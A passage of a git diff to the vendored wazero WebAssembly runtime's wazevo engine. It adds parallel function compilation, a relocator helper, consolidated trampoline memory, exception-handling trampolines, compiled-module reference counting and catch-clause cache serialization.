+ fidx := wasm.Index(i + importedFns) + fctx := functionContext(ctx, module, i, fidx) - for _, info := range be.SourceOffsetInfo() { - cm.sourceMap.executableOffsets = append(cm.sourceMap.executableOffsets, uintptr(totalSize)+uintptr(info.ExecutableOffset)) - cm.sourceMap.wasmBinaryOffsets = append(cm.sourceMap.wasmBinaryOffsets, uint64(info.SourceOffset)) + needListener := len(listeners) > i && listeners[i] != nil + body, relsPerFunc, err := e.compileLocalWasmFunction(fctx, module, wasm.Index(i), fe, ssaBuilder, be, needListener) + if err != nil { + return nil, fmt.Errorf("compile function %d/%d: %v", i, len(module.CodeSection)-1, err) } - } - fref := frontend.FunctionIndexToFuncRef(fidx) - refToBinaryOffset[fref] = totalSize - - // At this point, relocation offsets are relative to the start of the function body, - // so we adjust it to the start of the executable. - for _, r := range relsPerFunc { - r.Offset += int64(totalSize) - rels = append(rels, r) + relocator.appendFunction(fctx, module, cm, i, fidx, body, relsPerFunc, be.SourceOffsetInfo()) } - - bodies[i] = body - totalSize += len(body) - if wazevoapi.PrintMachineCodeHexPerFunction { - fmt.Printf("[[[machine code for %s]]]\n%s\n\n", wazevoapi.GetCurrentFunctionName(ctx), hex.EncodeToString(body)) + cm.catchClauseTable = fe.CatchClauseTable() + } else { + // Compile with N worker goroutines. + // Collect compiled functions across workers in a slice, + // to be added to the relocator in-order and resolved serially at the end. + // This uses more memory and CPU (across cores), but can be significantly faster. + type compiledFunc struct { + fctx context.Context + fnum int + fidx wasm.Index + body []byte + relsPerFunc []backend.RelocationInfo + offsPerFunc []backend.SourceOffsetInfo + } + + compiledFuncs := make([]compiledFunc, len(module.CodeSection)) + ctx, cancel := context.WithCancelCause(ctx) + defer cancel(nil) + + // Catch clause table IDs are baked into compiled machine code, so all + // workers must share a single table to ensure globally unique IDs. + sharedCCT := frontend.NewSharedCatchClauseTable() + + var count atomic.Uint32 + var wg sync.WaitGroup + wg.Add(workers) + + for range workers { + go func() { + defer wg.Done() + + // Creates new compiler instances which are reused for each function. + machine := newMachine() + ssaBuilder := ssa.NewBuilder() + be := backend.NewCompiler(ctx, machine, ssaBuilder) + fe := frontend.NewFrontendCompiler( + module, ssaBuilder, &cm.offsets, ensureTermination, withListener, needSourceInfo). + WithCatchClauseTable(sharedCCT) + + for { + if err := ctx.Err(); err != nil { + // Compilation canceled! + return + } + + i := int(count.Add(1)) - 1 + if i >= len(module.CodeSection) { + return + } + + if wazevoapi.DeterministicCompilationVerifierEnabled { + i = indexes[i] + } + + fidx := wasm.Index(i + importedFns) + fctx := functionContext(ctx, module, i, fidx) + + needListener := len(listeners) > i && listeners[i] != nil + body, relsPerFunc, err := e.compileLocalWasmFunction(fctx, module, wasm.Index(i), fe, ssaBuilder, be, needListener) + if err != nil { + cancel(fmt.Errorf("compile function %d/%d: %v", i, len(module.CodeSection)-1, err)) + return + } + + compiledFuncs[i] = compiledFunc{ + fctx, i, fidx, body, + // These slices are internal to the backend compiler and since we are going to buffer them instead + // of process them immediately we need to copy the memory. + slices.Clone(relsPerFunc), + slices.Clone(be.SourceOffsetInfo()), + } + } + }() + } + + wg.Wait() + if err := context.Cause(ctx); err != nil { + return nil, err } - if needCallTrampoline { - // If the total size exceeds the trampoline interval, we need to add a trampoline island. - if totalSize/trampolineInterval > len(callTrampolineIslandOffsets) { - callTrampolineIslandOffsets = append(callTrampolineIslandOffsets, totalSize) - totalSize += callTrampolineIslandSize - } + for i := range compiledFuncs { + fn := &compiledFuncs[i] + relocator.appendFunction(fn.fctx, module, cm, fn.fnum, fn.fidx, fn.body, fn.relsPerFunc, fn.offsPerFunc) } + cm.catchClauseTable = sharedCCT.Table() } // Allocate executable memory and then copy the generated machine code. - executable, err := platform.MmapCodeSegment(totalSize) + executable, err := platform.MmapCodeSegment(relocator.totalSize) if err != nil { panic(err) } cm.executable = executable - for i, b := range bodies { + for i, b := range relocator.bodies { offset := cm.functionOffsets[i] copy(executable[offset:], b) } @@ -312,22 +390,108 @@ func (e *engine) compileModule(ctx context.Context, module *wasm.Module, listene } } - // Resolve relocations for local function calls. - if len(rels) > 0 { - machine.ResolveRelocations(refToBinaryOffset, importedFns, executable, rels, callTrampolineIslandOffsets) - } + relocator.resolveRelocations(machine, executable, importedFns) - if runtime.GOARCH == "arm64" { - // On arm64, we cannot give all of rwx at the same time, so we change it to exec. - if err = platform.MprotectRX(executable); err != nil { - return nil, err - } + if err = platform.MprotectCodeSegment(executable); err != nil { + return nil, err } cm.sharedFunctions = e.sharedFunctions e.setFinalizer(cm.executables, executablesFinalizer) return cm, nil } +func functionContext(ctx context.Context, module *wasm.Module, fnum int, fidx wasm.Index) context.Context { + if wazevoapi.NeedFunctionNameInContext { + def := module.FunctionDefinition(fidx) + name := def.DebugName() + if len(def.ExportNames()) > 0 { + name = def.ExportNames()[0] + } + ctx = wazevoapi.SetCurrentFunctionName(ctx, fnum, fmt.Sprintf("[%d/%d]%s", fnum, len(module.CodeSection)-1, name)) + } + return ctx +} + +type engineRelocator struct { + bodies [][]byte + refToBinaryOffset []int + rels []backend.RelocationInfo + totalSize int // Total binary size of the executable. + trampolineInterval int + callTrampolineIslandSize int + callTrampolineIslandOffsets []int // Holds the offsets of trampoline islands. +} + +func newEngineRelocator( + machine backend.Machine, + importedFns, localFns int, +) (r engineRelocator, err error) { + // Trampoline relocation related variables. + r.trampolineInterval, r.callTrampolineIslandSize, err = machine.CallTrampolineIslandInfo(localFns) + r.refToBinaryOffset = make([]int, importedFns+localFns) + r.bodies = make([][]byte, 0, localFns) + return +} + +func (r *engineRelocator) resolveRelocations(machine backend.Machine, executable []byte, importedFns int) { + // Resolve relocations for local function calls. + if len(r.rels) > 0 { + machine.ResolveRelocations(r.refToBinaryOffset, importedFns, executable, r.rels, r.callTrampolineIslandOffsets) + } +} + +func (r *engineRelocator) appendFunction( + ctx context.Context, + module *wasm.Module, + cm *compiledModule, + fnum int, fidx wasm.Index, + body []byte, + relsPerFunc []backend.RelocationInfo, + offsPerFunc []backend.SourceOffsetInfo, +) { + // Align 16-bytes boundary. + r.totalSize = (r.totalSize + 15) &^ 15 + cm.functionOffsets[fnum] = r.totalSize + + needSourceInfo := module.DWARFLines != nil + if needSourceInfo { + // At the beginning of the function, we add the offset of the function body so that + // we can resolve the source location of the call site of before listener call. + cm.sourceMap.executableOffsets = append(cm.sourceMap.executableOffsets, uintptr(r.totalSize)) + cm.sourceMap.wasmBinaryOffsets = append(cm.sourceMap.wasmBinaryOffsets, module.CodeSection[fnum].BodyOffsetInCodeSection) + + for _, info := range offsPerFunc { + cm.sourceMap.executableOffsets = append(cm.sourceMap.executableOffsets, uintptr(r.totalSize)+uintptr(info.ExecutableOffset)) + cm.sourceMap.wasmBinaryOffsets = append(cm.sourceMap.wasmBinaryOffsets, uint64(info.SourceOffset)) + } + } + + fref := frontend.FunctionIndexToFuncRef(fidx) + r.refToBinaryOffset[fref] = r.totalSize + + // At this point, relocation offsets are relative to the start of the function body, + // so we adjust it to the start of the executable. + r.rels = slices.Grow(r.rels, len(relsPerFunc)) + for _, rel := range relsPerFunc { + rel.Offset += int64(r.totalSize) + r.rels = append(r.rels, rel) + } + + r.totalSize += len(body) + r.bodies = append(r.bodies, body) + if wazevoapi.PrintMachineCodeHexPerFunction { + fmt.Printf("[[[machine code for %s]]]\n%s\n\n", wazevoapi.GetCurrentFunctionName(ctx), hex.EncodeToString(body)) + } + + if r.callTrampolineIslandSize > 0 { + // If the total size exceeds the trampoline interval, we need to add a trampoline island. + if r.totalSize/r.trampolineInterval > len(r.callTrampolineIslandOffsets) { + r.callTrampolineIslandOffsets = append(r.callTrampolineIslandOffsets, r.totalSize) + r.totalSize += r.callTrampolineIslandSize + } + } +} + func (e *engine) compileLocalWasmFunction( ctx context.Context, module *wasm.Module, @@ -374,9 +538,7 @@ func (e *engine) compileLocalWasmFunction( } // TODO: optimize as zero copy. - copied := make([]byte, len(original)) - copy(copied, original) - return copied, rels, nil + return slices.Clone(original), rels, nil } func (e *engine) compileHostModule(ctx context.Context, module *wasm.Module, listeners []experimental.FunctionListener) (*compiledModule, error) { @@ -448,9 +610,7 @@ func (e *engine) compileHostModule(ctx context.Context, module *wasm.Module, lis } // TODO: optimize as zero copy. - copied := make([]byte, len(body)) - copy(copied, body) - bodies[i] = copied + bodies[i] = slices.Clone(body) totalSize += len(body) } @@ -475,11 +635,8 @@ func (e *engine) compileHostModule(ctx context.Context, module *wasm.Module, lis wazevoapi.PerfMap.Flush(uintptr(unsafe.Pointer(&executable[0])), cm.functionOffsets) } - if runtime.GOARCH == "arm64" { - // On arm64, we cannot give all of rwx at the same time, so we change it to exec. - if err = platform.MprotectRX(executable); err != nil { - return nil, err - } + if err = platform.MprotectCodeSegment(executable); err != nil { + return nil, err } e.setFinalizer(cm.executables, executablesFinalizer) return cm, nil @@ -507,12 +664,17 @@ func (e *engine) DeleteCompiledModule(m *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() cm, ok := e.compiledModules[m.ID] - if ok { - if len(cm.executable) > 0 { - e.deleteCompiledModuleFromSortedList(cm) - } - delete(e.compiledModules, m.ID) + if !ok { + return + } + cm.refCount-- + if cm.refCount > 0 { + return + } + if len(cm.executable) > 0 { + e.deleteCompiledModuleFromSortedList(cm.compiledModule) } + delete(e.compiledModules, m.ID) } func (e *engine) addCompiledModuleToSortedList(cm *compiledModule) { @@ -569,7 +731,7 @@ func (e *engine) NewModuleEngine(m *wasm.Module, mi *wasm.ModuleInstance) (wasm. // Note: imported functions are resolved in moduleEngine.ResolveImportedFunction. me.importedFunctions = make([]importedFunction, m.ImportFunctionCount) - compiled, ok := e.getCompiledModuleFromMemory(m) + compiled, ok := e.getCompiledModuleFromMemory(m, false) if !ok { return nil, errors.New("source module must be compiled before instantiation") } @@ -591,167 +753,167 @@ func (e *engine) NewModuleEngine(m *wasm.Module, mi *wasm.ModuleInstance) (wasm. } func (e *engine) compileSharedFunctions() { - e.sharedFunctions = &sharedFunctions{ - listenerBeforeTrampolines: make(map[*wasm.FunctionType][]byte), - listenerAfterTrampolines: make(map[*wasm.FunctionType][]byte), + var sizes [12]int + var trampolines []byte + + addTrampoline := func(i int, buf []byte) { + trampolines = append(trampolines, buf...) + align := 15 & -len(trampolines) // Align 16-bytes boundary. + trampolines = append(trampolines, make([]byte, align)...) + sizes[i] = len(buf) + align } e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeGrowMemory, &ssa.Signature{ + addTrampoline(0, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeGrowMemory, &ssa.Signature{ Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI32}, Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.memoryGrowExecutable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.memoryGrowExecutable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "memory_grow_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeTableGrow, &ssa.Signature{ + addTrampoline(1, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeTableGrow, &ssa.Signature{ Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI32 /* table index */, ssa.TypeI32 /* num */, ssa.TypeI64 /* ref */}, Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.tableGrowExecutable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.tableGrowExecutable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "table_grow_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCheckModuleExitCode, &ssa.Signature{ + addTrampoline(2, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCheckModuleExitCode, &ssa.Signature{ Params: []ssa.Type{ssa.TypeI32 /* exec context */}, Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.checkModuleExitCode = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.checkModuleExitCode - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "check_module_exit_code_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeRefFunc, &ssa.Signature{ + addTrampoline(3, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeRefFunc, &ssa.Signature{ Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI32 /* function index */}, Results: []ssa.Type{ssa.TypeI64}, // returns the function reference. - }, false) - e.sharedFunctions.refFuncExecutable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.refFuncExecutable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "ref_func_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileStackGrowCallSequence() - e.sharedFunctions.stackGrowExecutable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.stackGrowExecutable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "stack_grow_trampoline") - } - } + addTrampoline(4, e.machine.CompileStackGrowCallSequence()) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryWait32, &ssa.Signature{ + addTrampoline(5, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryWait32, &ssa.Signature{ // exec context, timeout, expected, addr Params: []ssa.Type{ssa.TypeI64, ssa.TypeI64, ssa.TypeI32, ssa.TypeI64}, // Returns the status. Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.memoryWait32Executable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.memoryWait32Executable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "memory_wait32_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryWait64, &ssa.Signature{ + addTrampoline(6, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryWait64, &ssa.Signature{ // exec context, timeout, expected, addr Params: []ssa.Type{ssa.TypeI64, ssa.TypeI64, ssa.TypeI64, ssa.TypeI64}, // Returns the status. Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.memoryWait64Executable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.memoryWait64Executable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "memory_wait64_trampoline") - } - } + }, false)) e.be.Init() - { - src := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryNotify, &ssa.Signature{ + addTrampoline(7, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeMemoryNotify, &ssa.Signature{ // exec context, count, addr Params: []ssa.Type{ssa.TypeI64, ssa.TypeI32, ssa.TypeI64}, // Returns the number notified. Results: []ssa.Type{ssa.TypeI32}, - }, false) - e.sharedFunctions.memoryNotifyExecutable = mmapExecutable(src) - if wazevoapi.PerfMapEnabled { - exe := e.sharedFunctions.memoryNotifyExecutable - wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(&exe[0])), uint64(len(exe)), "memory_notify_trampoline") - } - } + }, false)) + + e.be.Init() + addTrampoline(8, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeThrowAlloc, &ssa.Signature{ + // exec context, tag index → exnref + Params: []ssa.Type{ssa.TypeI64, ssa.TypeI64}, + Results: []ssa.Type{ssa.TypeI64}, + }, false)) - e.setFinalizer(e.sharedFunctions, sharedFunctionsFinalizer) + e.be.Init() + addTrampoline(9, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeThrow, &ssa.Signature{ + // exec context, exnref + Params: []ssa.Type{ssa.TypeI64, ssa.TypeI64}, + Results: []ssa.Type{}, + }, false)) + + e.be.Init() + addTrampoline(10, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeTryTableEnter, &ssa.Signature{ + // exec context, catch clause info (encoded) + Params: []ssa.Type{ssa.TypeI64, ssa.TypeI64}, + Results: []ssa.Type{}, + }, false)) + + e.be.Init() + addTrampoline(11, + e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeTryTableLeave, &ssa.Signature{ + // exec context + Params: []ssa.Type{ssa.TypeI64}, + Results: []ssa.Type{}, + }, false)) + + fns := &sharedFunctions{ + executable: mmapExecutable(trampolines), + listenerTrampolines: make(listenerTrampolines), + } + e.setFinalizer(fns, sharedFunctionsFinalizer) + + offset := 0 + fns.memoryGrowAddress = &fns.executable[offset] + offset += sizes[0] + fns.tableGrowAddress = &fns.executable[offset] + offset += sizes[1] + fns.checkModuleExitCodeAddress = &fns.executable[offset] + offset += sizes[2] + fns.refFuncAddress = &fns.executable[offset] + offset += sizes[3] + fns.stackGrowAddress = &fns.executable[offset] + offset += sizes[4] + fns.memoryWait32Address = &fns.executable[offset] + offset += sizes[5] + fns.memoryWait64Address = &fns.executable[offset] + offset += sizes[6] + fns.memoryNotifyAddress = &fns.executable[offset] + offset += sizes[7] + fns.throwAllocTrampolineAddress = &fns.executable[offset] + offset += sizes[8] + fns.throwTrampolineAddress = &fns.executable[offset] + offset += sizes[9] + fns.tryTableEnterAddress = &fns.executable[offset] + offset += sizes[10] + fns.tryTableLeaveAddress = &fns.executable[offset] + + if wazevoapi.PerfMapEnabled { + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.memoryGrowAddress)), uint64(sizes[0]), "memory_grow_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.tableGrowAddress)), uint64(sizes[1]), "table_grow_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.checkModuleExitCodeAddress)), uint64(sizes[2]), "check_module_exit_code_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.refFuncAddress)), uint64(sizes[3]), "ref_func_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.stackGrowAddress)), uint64(sizes[4]), "stack_grow_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.memoryWait32Address)), uint64(sizes[5]), "memory_wait32_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.memoryWait64Address)), uint64(sizes[6]), "memory_wait64_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.memoryNotifyAddress)), uint64(sizes[7]), "memory_notify_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.throwAllocTrampolineAddress)), uint64(sizes[8]), "throw_alloc_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.throwTrampolineAddress)), uint64(sizes[9]), "throw_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.tryTableEnterAddress)), uint64(sizes[10]), "try_table_enter_trampoline") + wazevoapi.PerfMap.AddEntry(uintptr(unsafe.Pointer(fns.tryTableLeaveAddress)), uint64(sizes[11]), "try_table_leave_trampoline") + } + + e.sharedFunctions = fns } func sharedFunctionsFinalizer(sf *sharedFunctions) { - if err := platform.MunmapCodeSegment(sf.memoryGrowExecutable); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.checkModuleExitCode); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.stackGrowExecutable); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.tableGrowExecutable); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.refFuncExecutable); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.memoryWait32Executable); err != nil { - panic(err) - } - if err := platform.MunmapCodeSegment(sf.memoryWait64Executable); err != nil { + if err := platform.MunmapCodeSegment(sf.executable); err != nil { panic(err) } - if err := platform.MunmapCodeSegment(sf.memoryNotifyExecutable); err != nil { - panic(err) - } - for _, f := range sf.listenerBeforeTrampolines { - if err := platform.MunmapCodeSegment(f); err != nil { - panic(err) - } - } - for _, f := range sf.listenerAfterTrampolines { - if err := platform.MunmapCodeSegment(f); err != nil { + for _, f := range sf.listenerTrampolines { + if err := platform.MunmapCodeSegment(f.executable); err != nil { panic(err) } } - sf.memoryGrowExecutable = nil - sf.checkModuleExitCode = nil - sf.stackGrowExecutable = nil - sf.tableGrowExecutable = nil - sf.refFuncExecutable = nil - sf.memoryWait32Executable = nil - sf.memoryWait64Executable = nil - sf.memoryNotifyExecutable = nil - sf.listenerBeforeTrampolines = nil - sf.listenerAfterTrampolines = nil + sf.executable = nil + sf.listenerTrampolines = nil } func executablesFinalizer(exec *executables) { @@ -762,12 +924,13 @@ func executablesFinalizer(exec *executables) { } exec.executable = nil - for _, f := range exec.entryPreambles { - if err := platform.MunmapCodeSegment(f); err != nil { + if len(exec.entryPreambles) > 0 { + if err := platform.MunmapCodeSegment(exec.entryPreambles); err != nil { panic(err) } } exec.entryPreambles = nil + exec.entryPreamblesPtrs = nil } func mmapExecutable(src []byte) []byte { @@ -778,11 +941,8 @@ func mmapExecutable(src []byte) []byte { copy(executable, src) - if runtime.GOARCH == "arm64" { - // On arm64, we cannot give all of rwx at the same time, so we change it to exec. - if err = platform.MprotectRX(executable); err != nil { - panic(err) - } + if err = platform.MprotectCodeSegment(executable); err != nil { + panic(err) } return executable } @@ -804,25 +964,30 @@ func (e *engine) getListenerTrampolineForType(functionType *wasm.FunctionType) ( e.mux.Lock() defer e.mux.Unlock() - beforeBuf, ok := e.sharedFunctions.listenerBeforeTrampolines[functionType] - afterBuf := e.sharedFunctions.listenerAfterTrampolines[functionType] - if ok { - return &beforeBuf[0], &afterBuf[0] - } + trampoline, ok := e.sharedFunctions.listenerTrampolines[functionType] + if !ok { + var executable []byte + beforeSig, afterSig := frontend.SignatureForListener(functionType) - beforeSig, afterSig := frontend.SignatureForListener(functionType) + e.be.Init() + buf := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCallListenerBefore, beforeSig, false) + executable = append(executable, buf...) - e.be.Init() - buf := e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCallListenerBefore, beforeSig, false) - beforeBuf = mmapExecutable(buf) + align := 15 & -len(executable) // Align 16-bytes boundary. + executable = append(executable, make([]byte, align)...) + offset := len(executable) - e.be.Init() - buf = e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCallListenerAfter, afterSig, false) - afterBuf = mmapExecutable(buf) + e.be.Init() + buf = e.machine.CompileGoFunctionTrampoline(wazevoapi.ExitCodeCallListenerAfter, afterSig, false) + executable = append(executable, buf...) - e.sharedFunctions.listenerBeforeTrampolines[functionType] = beforeBuf - e.sharedFunctions.listenerAfterTrampolines[functionType] = afterBuf - return &beforeBuf[0], &afterBuf[0] + trampoline.executable = mmapExecutable(executable) + trampoline.before = &trampoline.executable[0] + trampoline.after = &trampoline.executable[offset] + + e.sharedFunctions.listenerTrampolines[functionType] = trampoline + } + return trampoline.before, trampoline.after } func (cm *compiledModule) getSourceOffset(pc uintptr) uint64 { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine_cache.go index e49353dc..2199bae0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine_cache.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/engine_cache.go @@ -8,7 +8,6 @@ import ( "fmt" "hash/crc32" "io" - "runtime" "unsafe" "github.com/tetratelabs/wazero/experimental" @@ -42,16 +41,16 @@ func fileCacheKey(m *wasm.Module) (ret filecache.Key) { return } -func (e *engine) addCompiledModule(module *wasm.Module, cm *compiledModule) (err error) { - e.addCompiledModuleToMemory(module, cm) +func (e *engine) addCompiledModule(module *wasm.Module, cm *compiledModule) (c *compiledModule, err error) { + c = e.addCompiledModuleToMemory(module, cm) if !module.IsHostModule && e.fileCache != nil { - err = e.addCompiledModuleToCache(module, cm) + err = e.addCompiledModuleToCache(module, c) } return } func (e *engine) getCompiledModule(module *wasm.Module, listeners []experimental.FunctionListener, ensureTermination bool) (cm *compiledModule, ok bool, err error) { - cm, ok = e.getCompiledModuleFromMemory(module) + cm, ok = e.getCompiledModuleFromMemory(module, true) if ok { return } @@ -85,19 +84,31 @@ func (e *engine) getCompiledModule(module *wasm.Module, listeners []experimental return } -func (e *engine) addCompiledModuleToMemory(m *wasm.Module, cm *compiledModule) { +func (e *engine) addCompiledModuleToMemory(m *wasm.Module, cm *compiledModule) *compiledModule { e.mux.Lock() defer e.mux.Unlock() - e.compiledModules[m.ID] = cm + if c, ok := e.compiledModules[m.ID]; ok { + c.refCount++ + return c.compiledModule + } + e.compiledModules[m.ID] = &compiledModuleWithCount{compiledModule: cm, refCount: 1} if len(cm.executable) > 0 { e.addCompiledModuleToSortedList(cm) } + return cm } -func (e *engine) getCompiledModuleFromMemory(module *wasm.Module) (cm *compiledModule, ok bool) { - e.mux.RLock() - defer e.mux.RUnlock() - cm, ok = e.compiledModules[module.ID] +func (e *engine) getCompiledModuleFromMemory(module *wasm.Module, increaseRefCount bool) (cm *compiledModule, ok bool) { + e.mux.Lock() + defer e.mux.Unlock() + + cmWithCount, ok := e.compiledModules[module.ID] + if ok { + cm = cmWithCount.compiledModule + if increaseRefCount { + cmWithCount.refCount++ + } + } return } @@ -171,6 +182,16 @@ func serializeCompiledModule(wazeroVersion string, cm *compiledModule) io.Reader } else { buf.WriteByte(0) // indicates that source map is not present. } + // Catch clause table: number of try_tables (4 bytes), then for each: + // clause count (4 bytes), then for each clause: kind (1 byte) + tagIndex (4 bytes). + buf.Write(u32.LeBytes(uint32(len(cm.catchClauseTable)))) + for _, clauses := range cm.catchClauseTable { + buf.Write(u32.LeBytes(uint32(len(clauses)))) + for _, c := range clauses { + buf.WriteByte(c.Kind) + buf.Write(u32.LeBytes(c.TagIndex)) + } + } return bytes.NewReader(buf.Bytes()) } @@ -246,11 +267,8 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser) (cm * return nil, false, fmt.Errorf("compilationcache: checksum mismatch (expected %d, got %d)", expected, checksum) } - if runtime.GOARCH == "arm64" { - // On arm64, we cannot give all of rwx at the same time, so we change it to exec. - if err = platform.MprotectRX(executable); err != nil { - return nil, false, err - } + if err = platform.MprotectCodeSegment(executable); err != nil { + return nil, false, err } cm.executable = executable } @@ -283,6 +301,32 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser) (cm * sm.executableOffsets = append(sm.executableOffsets, uintptr(executableRelativeOffset)+executableOffset) } } + // Catch clause table. + if _, err = io.ReadFull(reader, eightBytes[:4]); err != nil { + // Treat old cache entries without catch clause data as stale (trigger recompile). + return nil, true, nil + } + tableLen := binary.LittleEndian.Uint32(eightBytes[:4]) + if tableLen > 0 { + cm.catchClauseTable = make([][]wazevoapi.CatchClauseInstance, tableLen) + for i := uint32(0); i < tableLen; i++ { + if _, err = io.ReadFull(reader, eightBytes[:4]); err != nil { + return nil, false, fmt.Errorf("compilationcache: error reading catch clause count for try_table[%d]: %v", i, err) + } + clauseCount := binary.LittleEndian.Uint32(eightBytes[:4]) + clauses := make([]wazevoapi.CatchClauseInstance, clauseCount) + for j := uint32(0); j < clauseCount; j++ { + if _, err = io.ReadFull(reader, eightBytes[:5]); err != nil { + return nil, false, fmt.Errorf("compilationcache: error reading catch clause[%d][%d]: %v", i, j, err) + } + clauses[j] = wazevoapi.CatchClauseInstance{ + Kind: eightBytes[0], + TagIndex: binary.LittleEndian.Uint32(eightBytes[1:5]), + } + } + cm.catchClauseTable[i] = clauses + } + } return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_amd64.go index 18f60af3..6cb0c457 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_amd64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_amd64.go @@ -1,5 +1,3 @@ -//go:build amd64 && !tinygo - package wazevo import _ "unsafe" diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_arm64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_arm64.go index e16d64f6..0b8b5533 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_arm64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_arm64.go @@ -1,5 +1,3 @@ -//go:build arm64 && !tinygo - package wazevo import _ "unsafe" diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_others.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_other.go similarity index 90% rename from vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_others.go rename to vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_other.go index 8f9d64b2..10cf5d4e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_others.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/entrypoint_other.go @@ -1,4 +1,4 @@ -//go:build (!arm64 && !amd64) || tinygo 